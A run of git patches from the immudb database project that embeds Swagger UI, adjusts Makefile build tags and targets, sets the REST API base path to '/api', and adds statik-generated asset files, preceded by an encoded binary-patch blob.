z=Mh1Z>{D245P?7%dF=~SFqCo`I6B5lMW0wq`N#YWJg`s9rQ+mcYoDMw5pZnx87SjKRO zaLiIEAcB(eA&(%Dw)s8qpkWZOl89=L_kR`H6XjNJx30s3EA}((tj-(SS)vbSMUpB} zUBdfeK_VuWers$wYrt3Sbp-^pWgup)3`1I7!Y2_Ww2=|My zl+zay4OW@|9Y8dLL`4lM?TZcV`j%cp(+m-4rd*tDNU&UTP7}Rp00`JT*?t2M77;?4 zAE_+W;l^!wnXh%nL148HG`CN+Kik%EohRsXKy4ZiSnd1Pi3m8z(-RWS%JbsA2^S zsq#nmAbMGcse-Bs)Z8*2aO82{b&ka*jbNM>RT`=zX}DF4ybmN=4mhQMD@0(B2wl|Q z7UVP}_C-okUhZTXi6QaPCB79(%UfH3CLtgu^Kv@>79h}b*@W-}2h*19B~qL3-6+Q| z^=jpUfK+BzZi%PUo+3;}(eR|3R|daq_|ADqw7Bf&mz;35mK$sCR?a>a;atOl0{fQq z^YGK9Tm|!0Ysd6cm$LjsaUG_N|C4tu%!x8f)Le)p87P$aqAb)%qS3XIUH|`&yL9)= zFfWjR(XW)P+DB?%S%`+^@z#vA$1_4T9Am$Vk3M)U+08elu)>C z3kYayz{rfyj%Wyqncfk&!1=ge($#n^RUGS6g=J6SP8zWc5fzw_(H}kQSn~iufM6E` z1a>#RXu~U~q7vVI;+HxVFiAy@n7Bd&A)jv`%EYW@o&yj)O!As8@la1sSs!N@Qh+R^3^F>iD=i-PIPZ{%W zfPkdIcX+rxfN(5y*;W@BB3>R2%RU@eustr0q#=skFNs15;9>a8{lIM^)q4<)MX-Bm53;t5zn1Rgf``5l0+fWQzzNh1K&66dY?3I<3JhjSSqTYk4X%M2uoke{-O z2_6h$t#*hT;NkKVLcTE2Ev1spiA16cm-Icp3oZl0Y^Jx!sz!54A`#)8b83H2M@c6@ zfWJvHvin&%zn_#3&SavBIpatQSA!5yVuCpjnO_x;{Lv{Z>idDHr7J{|epA_RsAQDj2l35E|rhFT&8i8GmEiwWGpA;+s7hTLI? z2nh$|_4L+w;j#!dN{6pu9X~>;f zr|akEjx1snGi?k)OhU;cYv%w2w-G=j446S%-629t9?S#@QiaA`;pU~j0H)>X^cr6K_& zg3eTiPf>x4x2`#(U=iAuu4r=|xs}{G@`e}l%T7FZ;H?!!5EUW9tNQ0HWh<^y04`#t zpd{uug2gVMcU?S)w4oqEtZ?Z*ie}CL)1g@t8C$eAkVHgJAt_TI^S{p>X{8z>v-8^FK~@_ZZ6>>%kx*QZ z^bVI|I&@0L=JlsSBIW>yZmbe=2DUV`4krW&CcUNe$3{-b^?=wBAVlsM93IVW&qm#9 zVe~Fxz`te67mxp(-qoMty-zYhBvPSKB|0h$`5H`=-;LGJ%99S5Ho&o&NJLR)L}5oj z;9p8_EX(6+tdtEp9&Q_eHw|o*dW^PwP?=cj+n%hc(##q>z5m2RcY}G_SS*~o;AYM! zXr;dBm)9KmfV2TQW3rjk$W*dkcLPM^8##jq3C#wG8(X)B#Gs#YD-t>)&#WWzHHAh) zT!;_!{!8DvDOz}gT}b#eEXs_x?j&Nw9Q{e% zN(ASx+d_g34jC=?U}r1mTRxib6>|-;cViFC!K_x?a0VQv?CLYOXr+OX>c$4;CE4&S zSmkF|R*ANX)-aOCXKa;sdc=jTR`e1#fx+UC0I>)>eh1bw*1oUOeE9wPbFzDs=C_8e zh+GlZXr;j`(t1ST)D-57`Da&FN#46dhnEkYjaSPHf`qxP*DOHvb96Q2fJmXtfV8Bo zg5GL~;6wrksb0yda-xY5=9ml|bh36fHj^3?J#44{3$dFKh3oFDGI{YT8W38Rpo<9E z;is9y8yquoOD|#o2LzTI>gg{QlOlb4Ap(g6DH7?QuU%>u8)grDmh){;V?N(cYUXmN z&IrS3yzWLK@S;OOB3Q*>i+-<-k^9u14Ss|NTZBvamSo5sRW&U zr=?D~oZvOX1CC_wk$j*QzGp5#lvi7Ow}=RAZD?|n=4p9?R*G)8UzwC(kS;6=&tw=r zy>%`#l1hh2^aXib(E26o@8M-~miV~ZF9#?11cQTZ8Nr7Ia$2t_JNpmD88?wLyqg4s zpq6@PgLuSfV=x9Mt;DDj)v$LmMW+ot5eDPI^%Tr4^N2QdX6U#irNh{$OL^UB|2sRO&b4CL|@a{E2 zLev=;CKz4U$o7XA7yVR1fSwZKtlug>C{_Wm2hOD`14{fBOJ1yhIPx{GbiXtw zwM(hWu*COn7!U=uoD5ebBIFpA4G3GULNNrwDO-7LhL94%bRwFxl zgb8oCUGNp2Y?1F_!)v?W@AH(~2owP%u;?e6)~yZ}Ac9-Y8KhdO#Ri|yF9<_=npUO{ zMb4;fY9t~=bj%rCs(fiMDu-!5Thh(W3~NtH1jX0t5hnG4$Pw5igKqbv%Yo?#apQnM zYPow{7+%PZXz=xF+ehHf9-ayjVbrnCXci&Lrse90UN9&wJnjzY3`6{JdEDo_G+W`5 zrMrB8gfv3Nh5D%$4{S(m8T`gcge*3UQOn72F|*Rc#9HE^oZ+8f5%bSZIirXW<4UR0 zRdGnsk#SF<#kM~f$f{z1!_dnmjz$momKWFvEEOvuDp6KjGn26RhLs4d*w7I%@m=Y` zVixr|1LR5w5#ieJR%iG$G}W{}f!zo+jldV1Q(`zMW<+v7lQ97k2Cn(iS%?+k1)|H+ zN+mJ6zTBo*sl2$?uTqeJ|Mo5!$|*(E<_zq5LWub2($ApFlEW(P+O0hvGFfPNgC*t; zd(Vp|AmOMZ9Q{Px@MCaAy$UDRw^lEmml-!6B49*fqexT*A{;elku#E?-nsk8kCSMQzRiUI`9`VU)C&B3eWUHB6*Oj){UJm~(jfVv%Jl&AAZM3|)(Lx5uuw zqI>aPSCT0b)gOE3*O78Ls5KE zxxofSI8l&f0V24AltCrIBvU;DY(V4%*WArq{frZnGGQ1-(R_X32q8wH5EB`gP+61u z-XYIHs5%^ksRWozkhJ;W#zP>MbbEJzh}WHzsM48b69I?gZ3T0e)C}b#uS^miBHp@H z89~eWSxG8)+ok0m;d$Jwj9b`&Yko#8F*hCpzNH)YZXXemf{1ii1hKT7EB80$1f1678DQa^`e;8JFx?&mlRgbL z>x>hHC&CO%&(B@Ja+E~$1rm8;-jU6CF+yx*25&z?7 zqj!#}hoIz5XzVo>mRmCpKFytUwn(5u6heQXBQ!r000j!NklI{5wO$3hRp0A`xcc35VKFkqDv@>-k6Y z^QNZ?2#$%Xr4Hde$X(PGhzH}s4v+}D@N7ULXtytXN`7uzNr3PZ3raMEt+KGhl8LXToqg)wCo<$w)<3Qs!$0TE%oam%{)5bDwqv7!245h@HUhwaGP( z-8<{a?z^ki$~9r@n0xEW+Cv;Y519CNL5+DBIr&v;!8Qj(zmIU0i0;|&;bY)!VHwz< zkxuED>H^`Ixchn;CK?k+zeTCG|3O^dY>|kc-B#Pd;?_LuCJkG=y6pwhBat2uL$nuc{nZ+h;N| zG0y^j5243xo+lOx9z8#No=?TM*5w8chub^|!*s(y;8EcJwbP90suFV-D=fLzK0x5^ zRt}>k#y-Wm6YDA-x;L)+G)lCcgS^ebN$D`OnNq|gzq#2g5q}?BdSOD>RLkcmo$@gE z1fsmOX*@^?Qel0?*Uz3@)K@S%A|AfnMI0Fevp~RAVk0VXt1U-BFZSV%r9Wc#egD{3 zt7M}IW2rXddu7}Rner;oz^{sdRB($$dGFch&%=E-b@x5o?a~wf99kau0R!; zGz)#w45myQ39B#X-McWsQi>Qg5jz1DYXn06>X}jJr@Ji?nI5^R;l`g^)f$y|2Op3~ z^NaF;k`i+ad9!tcG00DDo^f|ZooAZi2vb^*6PD%ZQdFZ>TLKbcBXV5MP2}hxww_}& zwmxy9(38z5IztP8!f73G<4r`WN2eLwB`7u{IF1|_a}#*o13C!72ngKzL?V9eJ3x5s zW*iYQYB51oR#98lZX#&7iAyk{A;ka%v3W_^*w%RL9XM3xot|%#luYX}`D4-q!nq07 zjvSW=9c92E2Qg5@o|k5nQ3!}g#;MBIB3P9l@uC$utT%sCCUU4rrG`O@K?>p=5eS68 z^adi*^JPa=l}DP@{+LD>IvQ@`Etvow!Z4$N(J5K}dg=qhJMXNBkb2DCgk(LXaS5RV zm}t0(w_?KaU^5H~82tsRPqXvRgN`^)gcA|{J}Z(LhK}?tH74i>-~j{#If(WG?!>1q z5wHpBn|B^^jk7~dQAG4F1QZRCiDu}40`rnkV15ylJdl7mE>Qh@>OJGvZAmerUlOk+KSh;g0`x@OWC9e$ zY)_G+dx+Bv^#k$HOGI~8KHShZRem#Z_WA@A5#o%ekt|X#MRCjoc#6qXI2^2eFfyWe zF`RtmDp@l2d*$oP73ffXm5@ zSt8PNbA`^29KhD9NLfdbrQtCY;41>aViXriZfSt0fO(+Gq6-c%c*pgbvvhvB!L?Or}j zJkB>@Lh&FyEh5g;IY3xi6riGAWOx~U#JF)8W7ixQfCiW@4gU~079h1KaX|GzIGkEO zc67VWXLX)Rd2;x%JUc;IS{_8rLnb0=jQyJZYQ%sF*sTnQxoA2M8)`Jr zpinyy4*sbIw#cw~$J?N-Zg5H+#0+ur8U_#$SjKidSU56FH#ttAu~gVJ!DN+G3_EDJ zufkh61Tb>4^~Xr#ZOQr;zX*)uiw-GgL9pNJV}1Z9H<#asP(jtU`N|2BdF zDphbagC7MvTs@JELc+??u^ww1k*3`1%rms4GEPyhM@d>CVF(6OL`M z$`n}n3IENK0FdBVD_UZIVOj5L%&J|tf7Vt19iLFF91;;uK!`Iu9FBS-7kHqrCZqf; zC04g+ac2ul-@{uc)Ih(G03ZfLgbNrftK-Gar02SKn@2ZY+;A7h(q_d%!g5~i`dCN= z-T4u2J7X|l)B?is;C1%1Jl2Wlfdnn;@Zo(=Kg{VkVa@Foxb2S1Zr z0%B2NId?PTC>SZ3wvkBSa7KT73Tp<8OhqQ0c9#=lTDBjHvPN?5W-3b7csch@tldK zlx8eSgzGH0{JY6(ASA~FTFD$Bs4}&njJOsMDsmBnW%0a-Q64fUAeNF5R|TRl5HW(8 z1CIr%%4KE5Re*34={QD=VAkP(Qk4r=Bd!QU%rVDElX*aph*(xeTqDaUJ%oTenC1d; za#9VMzl^v-9ir3_fmlF7oSjrd=2;}VLZwo$1%VhbsfNsli0hQD0f=-VAV@?kEAg%Z zM21<04i^C8mVj7xdDs;gj5uZ)2*m8+l#)tQ%Mx*gY*)bz8rDO^3jl$WYDh$U@Z1JO zL}9XJfS}InkFQ%$L}X?WAV@^4AlX$QBD7gRRFa5TiHkrHk%kKZK_X%eE&}q5!sw-d zAQADw%@r%PRh2XMGDt+MCDBmmA{Hq`kce1A(2(FFmWmnFi@ye4DT^OPMk0c&3>pGz z5eDwvN^WU?i|j^%t}OBeTm+7ZpeC7*A2gKs@gqxvF_%7$Xp$iyRuMD`kd--!2(l{E zfXU{XLZCKZHb^XV=X=c>QnQA2JL37 ziwMSwBAqpRjCM0tmVDY&W8RhqjVD}J@~QZbcvc0Q?nzi#@`*&G(?f=!%GCPG5pghG zM$kP8L<9jrM4ZSn2nZsgbNLnlu|^{D$#n=4mFvtt^NB4}REJn05ll=XBH>I?>3WT3 zf6j{{)suERX>)6pM98QpeD8h6OQq>Dwv`eAyWyT2U6ggMnh5Ba@!Je9FNG%{R-0^q zv`l;>2Jx_3gCkuYC8`82T#y9B%ELx6mI&)0AjhDHv1+qxT!f>-hUEbr1mzej4;v!N z#@rI0xD-Rsof%tj68gN8C<6v5h)p;N#m}Acb3Blu+)4t)hB!Ku;16+Y1~KPvbZY(p00R zL8`5Lh^%{{Hi&Ho4!ih9hcQ?fhZYB+B61I#_7XPbVBBQZKV;w>A|(Z>hmE@l!IT9- z!3P^G2nRC2K!5=agaa8u0hfIf4P<0wWMpJyWMpJyWMpJyWMpJyWMuEd?#~&$MOy)2 zU)n4D!VmlXedG6Q{fIMSWPKcz>yOL3Z@PhfzjxTTA1PURZSXkd-4%v??FbOkRT87j&qF*)9^|uD3v2B&+tkGi4Rt?e0>{_v9FP%clrZ@QKK;n z4%*pRB^q_@88`SN4Bm;x#sBW#e1`0000= 200, rr.Code) + + // Test just if the response exist + page, err := ioutil.ReadAll(rr.Body) + require.NoError(t, err) + + assert.Contains(t, string(page), "Swagger UI") +} diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index 50ccd7fd39..dc5cc19b81 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -9,6 +9,7 @@ import ( "net/http" "github.com/codenotary/immudb/pkg/logger" + _ "github.com/codenotary/immudb/webconsole/webconsole" "github.com/rakyll/statik/fs" ) diff --git a/webconsole/webconsole_test.go b/webconsole/webconsole_test.go index 804a23a5b3..51916118b0 100644 --- a/webconsole/webconsole_test.go +++ b/webconsole/webconsole_test.go @@ -1,3 +1,4 @@ +//go:build webconsole // +build webconsole package webconsole From 685964d99e95d265143c5d292e786da1a7e58066 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 15:50:38 +0100 Subject: [PATCH 0282/1062] Makefile improvements for cache --- Makefile | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Makefile b/Makefile index 3d0633e793..8498fdb3dd 100644 --- a/Makefile +++ b/Makefile @@ -20,6 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 +SWAGGER?=true SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" @@ -52,7 +53,7 @@ WEBCONSOLE_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif -ifdef SWAGGER +ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" @@ -219,8 +220,7 @@ build/codegenv2: --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc -.PHONY: build/embedswagger -build/embedswagger: +./swagger/dist: rm -rf swagger/dist/ curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) @@ -228,8 +228,8 @@ build/embedswagger: cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js .PHONY: swagger -ifdef SWAGGER -swagger: ./build/embedswagger +ifeq ($(SWAGGER),true) +swagger: ./swagger/dist env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger else swagger: @@ -239,7 +239,7 @@ endif .PHONY: clean clean: - rm -rf immudb immuclient immuadmin immutest ./webconsole/dist + rm -rf immudb immuclient immuadmin immutest ./webconsole/dist ./swagger/dist .PHONY: man man: From b633b6e61123f1cd3bad14917348cf8a1d45ee36 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:00:33 +0100 Subject: [PATCH 0283/1062] Attach old swagger --- Makefile | 1 + pkg/api/schema/schema.pb.go | 22 +++++++++++----------- pkg/api/schema/schema.proto | 2 +- pkg/api/schema/schema.swagger.json | 1 + 4 files changed, 14 insertions(+), 12 deletions(-) diff --git a/Makefile b/Makefile index 8498fdb3dd..83005fbb29 100644 --- a/Makefile +++ b/Makefile @@ -225,6 +225,7 @@ build/codegenv2: curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json + cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js .PHONY: swagger diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index f379f3624d..ccb8590537 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -16,7 +16,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.11.4 +// protoc v3.12.4 // source: schema.proto package schema @@ -10226,10 +10226,10 @@ var file_schema_proto_rawDesc = []byte{ 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, @@ -10244,14 +10244,14 @@ var file_schema_proto_rawDesc = []byte{ 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, + 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, + 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, + 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, + 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 00b8f8b2e2..7f4aca29f4 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -25,6 +25,7 @@ import "protoc-gen-swagger/options/annotations.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/schema"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + base_path: "/api", info: { title: "immudb REST API"; description: "IMPORTANT: All get and safeget functions return base64-encoded keys and values, while all set and safeset functions expect base64-encoded inputs." @@ -1902,5 +1903,4 @@ service ImmuService { body: "*" }; } - } diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 40b229134b..004ead5656 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -5,6 +5,7 @@ "description": "\u003cb\u003eIMPORTANT\u003c/b\u003e: All \u003ccode\u003eget\u003c/code\u003e and \u003ccode\u003esafeget\u003c/code\u003e functions return \u003cu\u003ebase64-encoded\u003c/u\u003e keys and values, while all \u003ccode\u003eset\u003c/code\u003e and \u003ccode\u003esafeset\u003c/code\u003e functions expect \u003cu\u003ebase64-encoded\u003c/u\u003e inputs.", "version": "version not set" }, + "basePath": "/api", "consumes": [ "application/json" ], From d50d276a4e0def793257c0152f6d11074ac6efca Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:14:08 +0100 Subject: [PATCH 0284/1062] Added statik versions to enable tests --- .gitignore | 4 ++-- swagger/swaggerembedded/statik.go | 16 ++++++++++++++++ webconsole/webconsole.go | 4 ++-- webconsole/webconsole_default.go | 4 ++-- webconsole/webconsoleembedded/statik.go | 16 ++++++++++++++++ 5 files changed, 38 insertions(+), 6 deletions(-) create mode 100644 swagger/swaggerembedded/statik.go create mode 100644 webconsole/webconsoleembedded/statik.go diff --git a/.gitignore b/.gitignore index bbc1f8e449..d66185fb29 100644 --- a/.gitignore +++ b/.gitignore @@ -49,5 +49,5 @@ token token_admin swagger/dist -swagger/swaggerembedded -webconsole/webconsole \ No newline at end of file +# swagger/swaggerembedded +# webconsole/webconsoleembedded \ No newline at end of file diff --git a/swagger/swaggerembedded/statik.go b/swagger/swaggerembedded/statik.go new file mode 100644 index 0000000000..acc5bb4ddb --- /dev/null +++ b/swagger/swaggerembedded/statik.go @@ -0,0 +1,16 @@ +// Code generated by statik. DO NOT EDIT. + +// +build !swagger + +package swaggerembedded + +import ( + "github.com/rakyll/statik/fs" +) + + +func init() { + data := "PK\x03\x04\x14\x00\x08\x00\x08\x00snUV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00 \x00index.htmlUT\x05\x00\x01j\xcc\xf4c\x94TQk\xdc8\x10~\xcf\xaf\x98\xd3\x11H\xc0^\xed.,\x04\xc7\xf6\xc3%y\x08\x1cw\xa1i\xa0y\x1c\xdbc[T\xd6\xb8\xd28\xdb\xa5\xf4\xbf\x17\xc7\xde\xec.M\x0b}\xb1\xe4\x99\xf9\xbe\xd1\xa7\xf9P\xfa\xd7\xed\xff7\x1f\x9f\x1f\xee\xa0\x95\xce\xe6g\xe9\xb8\x80E\xd7d\x8a\x9c\xca\xcf\x00\xd2\x96\xb0\x1a7\x00\xa9\x18\xb1\x94\xff\xc7\xf0\xb8\xc5\xa6!\x0fO\xf7@\x0e\x0bKU\xaa\xa7\xe4T\xd8\x91 \xb4\"}L_\x06\xf3\x92\xa9\x1b,[\x8ao\xd8\x89g\xab\xa0d'\xe4$S\x8e\xe3rLE\xe08\x0e\xc2\x9e\"\xe8\x86 \xb1\xa7\x17\xb4\xa6B!\x05\xfaW\xac\x0f\x1e\x9b\x0e\xdf\xa1\xfb\x0d\xe6\xeeko<\x85#\xd0\xf2P\x1dd\xb7\xd7\x00Pp\xb5\x83o\xf3\x0f@\x81\xe5\xe7\xc6\xf3\xe0\xaa\xb8d\xcb>\x81\xbf\xd7\xab\xf5z]^\xbf\x95\xd4\xec$\xae\xb13v\x97\xc0\x07.X8\x82\x80.\xc4\x81\xbc\xa9\x0f\x853\x81o\x8a\x8b\xd5\xd5&\x82\xfd\xe7r_\xf2}^1\x02L^L0B\xd5\xd1YN\x18\xd6#vu\x15\xc1z\xb5\xfc\x89`1\xcaD\xe3\xc8\x9f\xc0\x01z\x0eF\x0c\xbb\x04\xb0\x08l\x07\xa1\xeb\x93\xbcp\x9f\xc0fy~\x1a\xb5T\xcb;a\xf1\xe8B\xcd\xbeK\xa6\xadE\xa1O\x17\xf1fy~y\x08=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& 